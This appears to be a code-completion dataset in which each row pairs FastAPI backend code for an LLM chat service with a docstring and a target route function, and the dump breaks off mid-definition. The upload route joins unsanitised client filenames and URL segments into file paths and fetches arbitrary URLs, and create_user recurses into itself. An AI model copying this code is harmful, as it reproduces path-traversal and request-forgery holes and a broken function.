id
int64
0
190k
prompt
stringlengths
21
13.4M
docstring
stringlengths
1
12k
17,305
from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime import requests import aiohttp import time import json import os from llm import ( chat_query ) from models import ( # --------------- # Database Models # --------------- Organization, OrganizationCreate, OrganizationRead, OrganizationUpdate, User, UserCreate, UserRead, UserReadList, UserUpdate, DocumentRead, DocumentReadList, ProjectCreate, ProjectRead, ProjectReadList, ChatSessionResponse, ChatSessionCreatePost, WebhookCreate, # ------------------ # Database functions # ------------------ get_engine, get_session ) from helpers import ( # ---------------- # Helper functions # ---------------- get_org_by_uuid_or_namespace, get_project_by_uuid, get_user_by_uuid_or_identifier, get_users, get_documents_by_project_and_org, get_document_by_uuid, create_org_by_org_or_uuid, create_project_by_org ) from util import ( save_file, get_sha256, is_uuid, logger ) from config import ( APP_NAME, APP_VERSION, APP_DESCRIPTION, ENTITY_STATUS, CHANNEL_TYPE, LLM_MODELS, LLM_DISTANCE_THRESHOLD, LLM_DEFAULT_DISTANCE_STRATEGY, LLM_MAX_OUTPUT_TOKENS, LLM_MIN_NODE_LIMIT, FILE_UPLOAD_PATH, RASA_WEBHOOK_URL ) class OrganizationCreate(SQLModel): display_name: Optional[str] namespace: Optional[str] bot_url: Optional[str] def get_session(): with Session(get_engine()) as session: yield session def create_org_by_org_or_uuid( namespace: str = None, display_name: str = None, organization: Union[Organization, OrganizationCreate, str] = None, session: Optional[Session] = None, ): namespace = namespace or organization.namespace if not namespace: raise HTTPException( status_code=400, detail="Organization namespace is required" ) o = ( get_org_by_uuid_or_namespace(namespace, session=session, should_except=False) if not isinstance(organization, Organization) else organization ) if o: raise HTTPException(status_code=404, detail="Organization already exists") if isinstance(organization, OrganizationCreate) or isinstance(organization, str): organization = organization or OrganizationCreate( namespace=namespace, display_name=display_name ) db_org = Organization.from_orm(organization) if session: session.add(db_org) session.commit() session.refresh(db_org) else: with Session(get_engine()) as session: session.add(db_org) session.commit() session.refresh(db_org) elif isinstance(organization, Organization): db_org = organization db_org.update( { "namespace": namespace if namespace else organization.namespace, "display_name": display_name if display_name else organization.display_name, } ) else: db_org = Organization.create( {"namespace": namespace, "display_name": display_name} ) # Create folder for organization_uuid in uploads os.mkdir(os.path.join(FILE_UPLOAD_PATH, str(db_org.uuid))) return db_org The provided code snippet includes necessary dependencies for implementing the `create_organization` function. Write a Python function `def create_organization( *, session: Session = Depends(get_session), organization: Optional[OrganizationCreate] = None, namespace: Optional[str] = None, display_name: Optional[str] = None )` to solve the following problem: ### Creates a new organization ### <u>Args:</u> - **namespace**: Unique namespace for the organization (ex. openai) - **name**: Name of the organization (ex. OpenAI) - **bot_url**: URL of the bot (ex. https://t.me/your_bot) ### <u>Returns:</u> - OrganizationRead --- <details><summary>👇 💻 Code examples:</summary> ### 🖥️ Curl ```bash curl -X POST "http://localhost:8888/org" -H "accept: application/json" -H "Content-Type: application/json" -d '{\"namespace\":\"openai\",\"name\":\"OpenAI\",\"bot_url\":\"https://t.me/your_bot\"}' ``` <br/> ### 🐍 Python ```python import requests response = requests.post("http://localhost:8888/org", json={"namespace":"openai","name":"OpenAI","bot_url":"https://t.me/your_bot"}) print(response.json()) ``` </details> Here is the function: def create_organization( *, session: Session = Depends(get_session), organization: Optional[OrganizationCreate] = None, namespace: Optional[str] = None, display_name: Optional[str] = None ): ''' ### Creates a new organization ### <u>Args:</u> - **namespace**: Unique namespace for the organization (ex. openai) - **name**: Name of the organization (ex. OpenAI) - **bot_url**: URL of the bot (ex. https://t.me/your_bot) ### <u>Returns:</u> - OrganizationRead --- <details><summary>👇 💻 Code examples:</summary> ### 🖥️ Curl ```bash curl -X POST "http://localhost:8888/org" -H "accept: application/json" -H "Content-Type: application/json" -d '{\"namespace\":\"openai\",\"name\":\"OpenAI\",\"bot_url\":\"https://t.me/your_bot\"}' ``` <br/> ### 🐍 Python ```python import requests response = requests.post("http://localhost:8888/org", json={"namespace":"openai","name":"OpenAI","bot_url":"https://t.me/your_bot"}) print(response.json()) ``` </details> ''' # Create organization return create_org_by_org_or_uuid( organization=organization, namespace=namespace, display_name=display_name, session=session )
### Creates a new organization ### <u>Args:</u> - **namespace**: Unique namespace for the organization (ex. openai) - **name**: Name of the organization (ex. OpenAI) - **bot_url**: URL of the bot (ex. https://t.me/your_bot) ### <u>Returns:</u> - OrganizationRead --- <details><summary>👇 💻 Code examples:</summary> ### 🖥️ Curl ```bash curl -X POST "http://localhost:8888/org" -H "accept: application/json" -H "Content-Type: application/json" -d '{\"namespace\":\"openai\",\"name\":\"OpenAI\",\"bot_url\":\"https://t.me/your_bot\"}' ``` <br/> ### 🐍 Python ```python import requests response = requests.post("http://localhost:8888/org", json={"namespace":"openai","name":"OpenAI","bot_url":"https://t.me/your_bot"}) print(response.json()) ``` </details>
17,306
from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime import requests import aiohttp import time import json import os from llm import ( chat_query ) from models import ( # --------------- # Database Models # --------------- Organization, OrganizationCreate, OrganizationRead, OrganizationUpdate, User, UserCreate, UserRead, UserReadList, UserUpdate, DocumentRead, DocumentReadList, ProjectCreate, ProjectRead, ProjectReadList, ChatSessionResponse, ChatSessionCreatePost, WebhookCreate, # ------------------ # Database functions # ------------------ get_engine, get_session ) from helpers import ( # ---------------- # Helper functions # ---------------- get_org_by_uuid_or_namespace, get_project_by_uuid, get_user_by_uuid_or_identifier, get_users, get_documents_by_project_and_org, get_document_by_uuid, create_org_by_org_or_uuid, create_project_by_org ) from util import ( save_file, get_sha256, is_uuid, logger ) from config import ( APP_NAME, APP_VERSION, APP_DESCRIPTION, ENTITY_STATUS, CHANNEL_TYPE, LLM_MODELS, LLM_DISTANCE_THRESHOLD, LLM_DEFAULT_DISTANCE_STRATEGY, LLM_MAX_OUTPUT_TOKENS, LLM_MIN_NODE_LIMIT, FILE_UPLOAD_PATH, RASA_WEBHOOK_URL ) def get_session(): with Session(get_engine()) as session: yield session def read_organization( *, session: Session = Depends(get_session), organization_id: str ): organization = get_org_by_uuid_or_namespace(organization_id, session=session) return organization
null
17,307
from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime import requests import aiohttp import time import json import os from llm import ( chat_query ) from models import ( # --------------- # Database Models # --------------- Organization, OrganizationCreate, OrganizationRead, OrganizationUpdate, User, UserCreate, UserRead, UserReadList, UserUpdate, DocumentRead, DocumentReadList, ProjectCreate, ProjectRead, ProjectReadList, ChatSessionResponse, ChatSessionCreatePost, WebhookCreate, # ------------------ # Database functions # ------------------ get_engine, get_session ) from helpers import ( # ---------------- # Helper functions # ---------------- get_org_by_uuid_or_namespace, get_project_by_uuid, get_user_by_uuid_or_identifier, get_users, get_documents_by_project_and_org, get_document_by_uuid, create_org_by_org_or_uuid, create_project_by_org ) from util import ( save_file, get_sha256, is_uuid, logger ) from config import ( APP_NAME, APP_VERSION, APP_DESCRIPTION, ENTITY_STATUS, CHANNEL_TYPE, LLM_MODELS, LLM_DISTANCE_THRESHOLD, LLM_DEFAULT_DISTANCE_STRATEGY, LLM_MAX_OUTPUT_TOKENS, LLM_MIN_NODE_LIMIT, FILE_UPLOAD_PATH, RASA_WEBHOOK_URL ) class OrganizationUpdate(SQLModel): display_name: Optional[str] namespace: Optional[str] bot_url: Optional[str] def get_session(): with Session(get_engine()) as session: yield session def update_organization( *, session: Session = Depends(get_session), organization_id: str, organization: OrganizationUpdate ): org = get_org_by_uuid_or_namespace(organization_id, session=session) org.update(organization.dict(exclude_unset=True)) return org
null
17,308
from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime import requests import aiohttp import time import json import os from llm import ( chat_query ) from models import ( # --------------- # Database Models # --------------- Organization, OrganizationCreate, OrganizationRead, OrganizationUpdate, User, UserCreate, UserRead, UserReadList, UserUpdate, DocumentRead, DocumentReadList, ProjectCreate, ProjectRead, ProjectReadList, ChatSessionResponse, ChatSessionCreatePost, WebhookCreate, # ------------------ # Database functions # ------------------ get_engine, get_session ) from helpers import ( # ---------------- # Helper functions # ---------------- get_org_by_uuid_or_namespace, get_project_by_uuid, get_user_by_uuid_or_identifier, get_users, get_documents_by_project_and_org, get_document_by_uuid, create_org_by_org_or_uuid, create_project_by_org ) from util import ( save_file, get_sha256, is_uuid, logger ) from config import ( APP_NAME, APP_VERSION, APP_DESCRIPTION, ENTITY_STATUS, CHANNEL_TYPE, LLM_MODELS, LLM_DISTANCE_THRESHOLD, LLM_DEFAULT_DISTANCE_STRATEGY, LLM_MAX_OUTPUT_TOKENS, LLM_MIN_NODE_LIMIT, FILE_UPLOAD_PATH, RASA_WEBHOOK_URL ) def get_session(): with Session(get_engine()) as session: yield session def read_projects( *, session: Session = Depends(get_session), organization_id: str ): organization = get_org_by_uuid_or_namespace(organization_id, session=session) if not organization.projects: raise HTTPException(status_code=404, detail='No projects found for organization') return organization.projects
null
17,309
from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime import requests import aiohttp import time import json import os from llm import ( chat_query ) from models import ( # --------------- # Database Models # --------------- Organization, OrganizationCreate, OrganizationRead, OrganizationUpdate, User, UserCreate, UserRead, UserReadList, UserUpdate, DocumentRead, DocumentReadList, ProjectCreate, ProjectRead, ProjectReadList, ChatSessionResponse, ChatSessionCreatePost, WebhookCreate, # ------------------ # Database functions # ------------------ get_engine, get_session ) from helpers import ( # ---------------- # Helper functions # ---------------- get_org_by_uuid_or_namespace, get_project_by_uuid, get_user_by_uuid_or_identifier, get_users, get_documents_by_project_and_org, get_document_by_uuid, create_org_by_org_or_uuid, create_project_by_org ) from util import ( save_file, get_sha256, is_uuid, logger ) from config import ( APP_NAME, APP_VERSION, APP_DESCRIPTION, ENTITY_STATUS, CHANNEL_TYPE, LLM_MODELS, LLM_DISTANCE_THRESHOLD, LLM_DEFAULT_DISTANCE_STRATEGY, LLM_MAX_OUTPUT_TOKENS, LLM_MIN_NODE_LIMIT, FILE_UPLOAD_PATH, RASA_WEBHOOK_URL ) class ProjectCreate(SQLModel): display_name: Optional[str] def get_session(): with Session(get_engine()) as session: yield session def create_project_by_org( project: Union[Project, ProjectCreate] = None, organization_id: Union[Organization, str] = None, display_name: str = None, session: Optional[Session] = None, ): organization = ( get_org_by_uuid_or_namespace(organization_id, session=session) if not isinstance(organization_id, Organization) else organization_id ) if isinstance(project, ProjectCreate): db_project = Project.from_orm(project) if not project else project db_project.organization_id = organization.id # Lets give a default name if not set db_project.display_name = ( f"📁 Untitled Project #{len(organization.projects) + 1}" if not display_name and not project else display_name ) if session: session.add(db_project) session.commit() session.refresh(db_project) else: with Session(get_engine()) as session: session.add(db_project) session.commit() session.refresh(db_project) elif isinstance(project, Project): db_project = project db_project.update( { "organization_id": organization.id, "display_name": f"📁 Untitled Project #{len(organization.projects) + 1}" if not display_name and not project else display_name, } ) else: db_project = Project.create( { "organization_id": organization.id, "display_name": f"📁 Untitled Project #{len(organization.projects) + 1}" if not display_name and not project else display_name, } ) # ------------------------------- # Create project upload directory # ------------------------------- project_dir = os.path.join( FILE_UPLOAD_PATH, str(organization.uuid), str(db_project.uuid) ) os.makedirs(project_dir, exist_ok=True) # Create project return db_project def create_project( *, session: Session = Depends(get_session), organization_id: str, project: ProjectCreate ): return create_project_by_org( organization_id=organization_id, project=project, session=session )
null
17,310
from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime import requests import aiohttp import time import json import os from llm import ( chat_query ) from models import ( # --------------- # Database Models # --------------- Organization, OrganizationCreate, OrganizationRead, OrganizationUpdate, User, UserCreate, UserRead, UserReadList, UserUpdate, DocumentRead, DocumentReadList, ProjectCreate, ProjectRead, ProjectReadList, ChatSessionResponse, ChatSessionCreatePost, WebhookCreate, # ------------------ # Database functions # ------------------ get_engine, get_session ) from helpers import ( # ---------------- # Helper functions # ---------------- get_org_by_uuid_or_namespace, get_project_by_uuid, get_user_by_uuid_or_identifier, get_users, get_documents_by_project_and_org, get_document_by_uuid, create_org_by_org_or_uuid, create_project_by_org ) from util import ( save_file, get_sha256, is_uuid, logger ) from config import ( APP_NAME, APP_VERSION, APP_DESCRIPTION, ENTITY_STATUS, CHANNEL_TYPE, LLM_MODELS, LLM_DISTANCE_THRESHOLD, LLM_DEFAULT_DISTANCE_STRATEGY, LLM_MAX_OUTPUT_TOKENS, LLM_MIN_NODE_LIMIT, FILE_UPLOAD_PATH, RASA_WEBHOOK_URL ) def get_session(): with Session(get_engine()) as session: yield session def get_project_by_uuid( uuid: Union[UUID, str] = None, organization_id: Union[UUID, str] = None, session: Optional[Session] = None, should_except: bool = True, ): if not is_uuid(uuid): raise HTTPException( status_code=422, detail=f"Invalid project identifier {uuid}" ) org = get_org_by_uuid_or_namespace(organization_id, session=session) if session: project = session.exec( select(Project).where( Project.organization == org, Project.uuid == str(uuid) ) ).first() else: with Session(get_engine()) as session: project = session.exec( select(Project).where( Project.organization == org, Project.uuid == str(uuid) ) ).first() if not project and should_except is True: raise HTTPException( status_code=404, detail=f"Project identifier {uuid} not found" ) return project def read_project( *, session: Session = Depends(get_session), organization_id: str, project_id: str ): return get_project_by_uuid(uuid=project_id, organization_id=organization_id, session=session)
null
17,311
from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime import requests import aiohttp import time import json import os from llm import ( chat_query ) from models import ( # --------------- # Database Models # --------------- Organization, OrganizationCreate, OrganizationRead, OrganizationUpdate, User, UserCreate, UserRead, UserReadList, UserUpdate, DocumentRead, DocumentReadList, ProjectCreate, ProjectRead, ProjectReadList, ChatSessionResponse, ChatSessionCreatePost, WebhookCreate, # ------------------ # Database functions # ------------------ get_engine, get_session ) from helpers import ( # ---------------- # Helper functions # ---------------- get_org_by_uuid_or_namespace, get_project_by_uuid, get_user_by_uuid_or_identifier, get_users, get_documents_by_project_and_org, get_document_by_uuid, create_org_by_org_or_uuid, create_project_by_org ) from util import ( save_file, get_sha256, is_uuid, logger ) from config import ( APP_NAME, APP_VERSION, APP_DESCRIPTION, ENTITY_STATUS, CHANNEL_TYPE, LLM_MODELS, LLM_DISTANCE_THRESHOLD, LLM_DEFAULT_DISTANCE_STRATEGY, LLM_MAX_OUTPUT_TOKENS, LLM_MIN_NODE_LIMIT, FILE_UPLOAD_PATH, RASA_WEBHOOK_URL ) def get_session(): with Session(get_engine()) as session: yield session def get_project_by_uuid( uuid: Union[UUID, str] = None, organization_id: Union[UUID, str] = None, session: Optional[Session] = None, should_except: bool = True, ): if not is_uuid(uuid): raise HTTPException( status_code=422, detail=f"Invalid project identifier {uuid}" ) org = get_org_by_uuid_or_namespace(organization_id, session=session) if session: project = session.exec( select(Project).where( Project.organization == org, Project.uuid == str(uuid) ) ).first() else: with Session(get_engine()) as session: project = session.exec( select(Project).where( Project.organization == org, Project.uuid == str(uuid) ) ).first() if not project and should_except is True: raise HTTPException( status_code=404, detail=f"Project identifier {uuid} not found" ) return project async def save_file(file: UploadFile, file_path: str): async with aiofiles.open(file_path, 'wb') as f: await f.write(await file.read()) def get_sha256(contents: bytes): return sha256(contents).hexdigest() FILE_UPLOAD_PATH = os.getenv("FILE_UPLOAD_PATH", "/tmp") async def upload_document( *, session: Session = Depends(get_session), organization_id: str, project_id: str, url: Optional[str] = None, file: Optional[UploadFile] = File(...), overwrite: Optional[bool] = True ): organization = get_org_by_uuid_or_namespace(organization_id, session=session) project = get_project_by_uuid(uuid=project_id, organization_id=organization_id, session=session) file_root_path = os.path.join(FILE_UPLOAD_PATH, str(organization.uuid), str(project.uuid)) file_version = 1 # ------------------------ # Enforce XOR for url/file # ------------------------ if url and file: raise HTTPException(status_code=400, detail='You can only upload a file OR provide a URL, not both') # -------------------- # Upload file from URL # -------------------- if url: file_name = url.split('/')[-1] file_upload_path = os.path.join(file_root_path, file_name) file_exists = os.path.isfile(file_upload_path) if file_exists: file_name = f'{file_name}_{int(time.time())}' file_upload_path = os.path.join(file_root_path, file_name) async with aiohttp.ClientSession() as session: async with session.get(url) as resp: if resp.status != 200: raise HTTPException(status_code=400, detail=f'Could not download file from {url}') with open(file_upload_path, 'wb') as f: while True: chunk = await resp.content.read(1024) if not chunk: break f.write(chunk) file_contents = open(file_upload_path, 'rb').read() file_hash = get_sha256(contents=file_contents) # ----------------------- # Upload file from device # ----------------------- else: file_name = file.filename file_upload_path = os.path.join(file_root_path, file_name) file_exists = os.path.isfile(file_upload_path) if file_exists: file_name = f'{file_name}_{int(time.time())}' file_upload_path = os.path.join(file_root_path, file_name) file_contents = await file.read() file_hash = get_sha256(contents=file_contents) await save_file(file, file_upload_path) document_obj = create_document_by_file_path( organization=organization, project=project, file_path=file_upload_path, file_hash=file_hash, file_version=file_version, url=url, overwrite=overwrite, session=session ) return document_obj
null
17,312
from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime import requests import aiohttp import time import json import os from llm import ( chat_query ) from models import ( # --------------- # Database Models # --------------- Organization, OrganizationCreate, OrganizationRead, OrganizationUpdate, User, UserCreate, UserRead, UserReadList, UserUpdate, DocumentRead, DocumentReadList, ProjectCreate, ProjectRead, ProjectReadList, ChatSessionResponse, ChatSessionCreatePost, WebhookCreate, # ------------------ # Database functions # ------------------ get_engine, get_session ) from helpers import ( # ---------------- # Helper functions # ---------------- get_org_by_uuid_or_namespace, get_project_by_uuid, get_user_by_uuid_or_identifier, get_users, get_documents_by_project_and_org, get_document_by_uuid, create_org_by_org_or_uuid, create_project_by_org ) from util import ( save_file, get_sha256, is_uuid, logger ) from config import ( APP_NAME, APP_VERSION, APP_DESCRIPTION, ENTITY_STATUS, CHANNEL_TYPE, LLM_MODELS, LLM_DISTANCE_THRESHOLD, LLM_DEFAULT_DISTANCE_STRATEGY, LLM_MAX_OUTPUT_TOKENS, LLM_MIN_NODE_LIMIT, FILE_UPLOAD_PATH, RASA_WEBHOOK_URL ) def get_session(): def get_documents_by_project_and_org( project_id: Union[UUID, str], organization_id: Union[UUID, str], session: Optional[Session] = None, ): def read_documents( *, session: Session = Depends(get_session), organization_id: str, project_id: str ): return get_documents_by_project_and_org(project_id=project_id, organization_id=organization_id, session=session)
null
17,313
from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime import requests import aiohttp import time import json import os from llm import ( chat_query ) from models import ( # --------------- # Database Models # --------------- Organization, OrganizationCreate, OrganizationRead, OrganizationUpdate, User, UserCreate, UserRead, UserReadList, UserUpdate, DocumentRead, DocumentReadList, ProjectCreate, ProjectRead, ProjectReadList, ChatSessionResponse, ChatSessionCreatePost, WebhookCreate, # ------------------ # Database functions # ------------------ get_engine, get_session ) from helpers import ( # ---------------- # Helper functions # ---------------- get_org_by_uuid_or_namespace, get_project_by_uuid, get_user_by_uuid_or_identifier, get_users, get_documents_by_project_and_org, get_document_by_uuid, create_org_by_org_or_uuid, create_project_by_org ) from util import ( save_file, get_sha256, is_uuid, logger ) from config import ( APP_NAME, APP_VERSION, APP_DESCRIPTION, ENTITY_STATUS, CHANNEL_TYPE, LLM_MODELS, LLM_DISTANCE_THRESHOLD, LLM_DEFAULT_DISTANCE_STRATEGY, LLM_MAX_OUTPUT_TOKENS, LLM_MIN_NODE_LIMIT, FILE_UPLOAD_PATH, RASA_WEBHOOK_URL ) def get_session(): with Session(get_engine()) as session: yield session def get_document_by_uuid( uuid: Union[UUID, str], organization_id: Union[UUID, str] = None, project_id: Union[UUID, str] = None, session: Optional[Session] = None, should_except: bool = True, ): if not is_uuid(uuid): raise HTTPException( status_code=422, detail=f"Invalid document identifier {uuid}" ) org = get_org_by_uuid_or_namespace(organization_id, session=session) project = get_project_by_uuid(project_id, organization_id=org.uuid, session=session) if session: document = session.exec( select(Document).where( Document.project == project, Document.uuid == str(uuid) ) ).first() else: with Session(get_engine()) as session: document = session.exec( select(Document).where( Document.project == project, Document.uuid == str(uuid) ) ).first() if not document and should_except is True: raise HTTPException( status_code=404, detail=f"Document identifier {uuid} not found" ) return document def read_document( *, session: Session = Depends(get_session), organization_id: str, project_id: str, document_id: str ): return get_document_by_uuid(uuid=document_id, project_id=project_id, organization_id=organization_id, session=session)
null
17,314
from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime import requests import aiohttp import time import json import os from llm import ( chat_query ) from models import ( # --------------- # Database Models # --------------- Organization, OrganizationCreate, OrganizationRead, OrganizationUpdate, User, UserCreate, UserRead, UserReadList, UserUpdate, DocumentRead, DocumentReadList, ProjectCreate, ProjectRead, ProjectReadList, ChatSessionResponse, ChatSessionCreatePost, WebhookCreate, # ------------------ # Database functions # ------------------ get_engine, get_session ) from helpers import ( # ---------------- # Helper functions # ---------------- get_org_by_uuid_or_namespace, get_project_by_uuid, get_user_by_uuid_or_identifier, get_users, get_documents_by_project_and_org, get_document_by_uuid, create_org_by_org_or_uuid, create_project_by_org ) from util import ( save_file, get_sha256, is_uuid, logger ) from config import ( APP_NAME, APP_VERSION, APP_DESCRIPTION, ENTITY_STATUS, CHANNEL_TYPE, LLM_MODELS, LLM_DISTANCE_THRESHOLD, LLM_DEFAULT_DISTANCE_STRATEGY, LLM_MAX_OUTPUT_TOKENS, LLM_MIN_NODE_LIMIT, FILE_UPLOAD_PATH, RASA_WEBHOOK_URL ) def get_session(): with Session(get_engine()) as session: yield session def get_users(session: Optional[Session] = None): if session: users = session.exec(select(User)).all() else: with Session(get_engine()) as session: users = session.exec(select(User)).all() return users def read_users( *, session: Session = Depends(get_session), ): return get_users(session=session)
null
17,315
from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime import requests import aiohttp import time import json import os from llm import ( chat_query ) from models import ( # --------------- # Database Models # --------------- Organization, OrganizationCreate, OrganizationRead, OrganizationUpdate, User, UserCreate, UserRead, UserReadList, UserUpdate, DocumentRead, DocumentReadList, ProjectCreate, ProjectRead, ProjectReadList, ChatSessionResponse, ChatSessionCreatePost, WebhookCreate, # ------------------ # Database functions # ------------------ get_engine, get_session ) from helpers import ( # ---------------- # Helper functions # ---------------- get_org_by_uuid_or_namespace, get_project_by_uuid, get_user_by_uuid_or_identifier, get_users, get_documents_by_project_and_org, get_document_by_uuid, create_org_by_org_or_uuid, create_project_by_org ) from util import ( save_file, get_sha256, is_uuid, logger ) from config import ( APP_NAME, APP_VERSION, APP_DESCRIPTION, ENTITY_STATUS, CHANNEL_TYPE, LLM_MODELS, LLM_DISTANCE_THRESHOLD, LLM_DEFAULT_DISTANCE_STRATEGY, LLM_MAX_OUTPUT_TOKENS, LLM_MIN_NODE_LIMIT, FILE_UPLOAD_PATH, RASA_WEBHOOK_URL ) class UserCreate(SQLModel): identifier: str identifier_type: CHANNEL_TYPE device_fingerprint: Optional[str] first_name: Optional[str] last_name: Optional[str] email: Optional[str] phone: Optional[str] dob: Optional[datetime] def get_session(): with Session(get_engine()) as session: yield session def create_user( *, session: Session = Depends(get_session), user: UserCreate ): return create_user( user=user, session=session )
null
17,316
from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime import requests import aiohttp import time import json import os from llm import ( chat_query ) from models import ( # --------------- # Database Models # --------------- Organization, OrganizationCreate, OrganizationRead, OrganizationUpdate, User, UserCreate, UserRead, UserReadList, UserUpdate, DocumentRead, DocumentReadList, ProjectCreate, ProjectRead, ProjectReadList, ChatSessionResponse, ChatSessionCreatePost, WebhookCreate, # ------------------ # Database functions # ------------------ get_engine, get_session ) from helpers import ( # ---------------- # Helper functions # ---------------- get_org_by_uuid_or_namespace, get_project_by_uuid, get_user_by_uuid_or_identifier, get_users, get_documents_by_project_and_org, get_document_by_uuid, create_org_by_org_or_uuid, create_project_by_org ) from util import ( save_file, get_sha256, is_uuid, logger ) from config import ( APP_NAME, APP_VERSION, APP_DESCRIPTION, ENTITY_STATUS, CHANNEL_TYPE, LLM_MODELS, LLM_DISTANCE_THRESHOLD, LLM_DEFAULT_DISTANCE_STRATEGY, LLM_MAX_OUTPUT_TOKENS, LLM_MIN_NODE_LIMIT, FILE_UPLOAD_PATH, RASA_WEBHOOK_URL ) def get_session(): def get_user_by_uuid_or_identifier( id: Union[UUID, str], session: Optional[Session] = None, should_except: bool = True ): def read_user( *, session: Session = Depends(get_session), user_id: str ): return get_user_by_uuid_or_identifier(id=user_id, session=session)
null
17,317
from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime import requests import aiohttp import time import json import os from llm import ( chat_query ) from models import ( # --------------- # Database Models # --------------- Organization, OrganizationCreate, OrganizationRead, OrganizationUpdate, User, UserCreate, UserRead, UserReadList, UserUpdate, DocumentRead, DocumentReadList, ProjectCreate, ProjectRead, ProjectReadList, ChatSessionResponse, ChatSessionCreatePost, WebhookCreate, # ------------------ # Database functions # ------------------ get_engine, get_session ) from helpers import ( # ---------------- # Helper functions # ---------------- get_org_by_uuid_or_namespace, get_project_by_uuid, get_user_by_uuid_or_identifier, get_users, get_documents_by_project_and_org, get_document_by_uuid, create_org_by_org_or_uuid, create_project_by_org ) from util import ( save_file, get_sha256, is_uuid, logger ) from config import ( APP_NAME, APP_VERSION, APP_DESCRIPTION, ENTITY_STATUS, CHANNEL_TYPE, LLM_MODELS, LLM_DISTANCE_THRESHOLD, LLM_DEFAULT_DISTANCE_STRATEGY, LLM_MAX_OUTPUT_TOKENS, LLM_MIN_NODE_LIMIT, FILE_UPLOAD_PATH, RASA_WEBHOOK_URL ) class User(BaseModel, table=True): id: Optional[int] = Field(default=None, primary_key=True) identifier: str = Field(default=None, unique=True, index=True) identifier_type: Optional[CHANNEL_TYPE] = Field(default=None) uuid: Optional[uuid_pkg.UUID] = Field(unique=True, default_factory=uuid_pkg.uuid4) first_name: Optional[str] = Field(default=None) last_name: Optional[str] = Field(default=None) email: Optional[str] = Field(default=None) phone: Optional[str] = Field(default=None) dob: Optional[datetime] = Field(default=None) device_fingerprint: Optional[str] = Field(default=None) created_at: Optional[datetime] = Field(default_factory=datetime.now) updated_at: Optional[datetime] = Field(default_factory=datetime.now) # ------------- # Relationships # ------------- chat_sessions: Optional[List["ChatSession"]] = Relationship(back_populates="user") def chat_session_count(self) -> int: return len(self.chat_sessions) __table_args__ = ( UniqueConstraint("identifier", "identifier_type", name="unq_id_idtype"), ) def __repr__(self): return f"<User id={self.id} uuid={self.uuid} project_id={self.project_id} device_fingerprint={self.device_fingerprint}>" class UserUpdate(SQLModel): device_fingerprint: Optional[str] device_fingerprint: Optional[str] first_name: Optional[str] last_name: Optional[str] email: Optional[str] phone: Optional[str] dob: Optional[datetime] def update_user(*, user_uuid: str, user: UserUpdate): # Get user by UUID user = User.get(uuid=user_uuid) # If user exists, update it if user: user.update(**user.dict()) return user # If user doesn't exist, return 404 else: raise HTTPException(status_code=404, detail=f'User {user_uuid} not found!')
null
17,318
from fastapi import ( FastAPI, File, Depends, HTTPException, UploadFile ) from fastapi.openapi.utils import get_openapi from fastapi.staticfiles import StaticFiles from sqlmodel import Session, select from typing import ( List, Optional, Union, Any ) from datetime import datetime import requests import aiohttp import time import json import os from llm import ( chat_query ) from models import ( # --------------- # Database Models # --------------- Organization, OrganizationCreate, OrganizationRead, OrganizationUpdate, User, UserCreate, UserRead, UserReadList, UserUpdate, DocumentRead, DocumentReadList, ProjectCreate, ProjectRead, ProjectReadList, ChatSessionResponse, ChatSessionCreatePost, WebhookCreate, # ------------------ # Database functions # ------------------ get_engine, get_session ) from helpers import ( # ---------------- # Helper functions # ---------------- get_org_by_uuid_or_namespace, get_project_by_uuid, get_user_by_uuid_or_identifier, get_users, get_documents_by_project_and_org, get_document_by_uuid, create_org_by_org_or_uuid, create_project_by_org ) from util import ( save_file, get_sha256, is_uuid, logger ) from config import ( APP_NAME, APP_VERSION, APP_DESCRIPTION, ENTITY_STATUS, CHANNEL_TYPE, LLM_MODELS, LLM_DISTANCE_THRESHOLD, LLM_DEFAULT_DISTANCE_STRATEGY, LLM_MAX_OUTPUT_TOKENS, LLM_MIN_NODE_LIMIT, FILE_UPLOAD_PATH, RASA_WEBHOOK_URL ) def 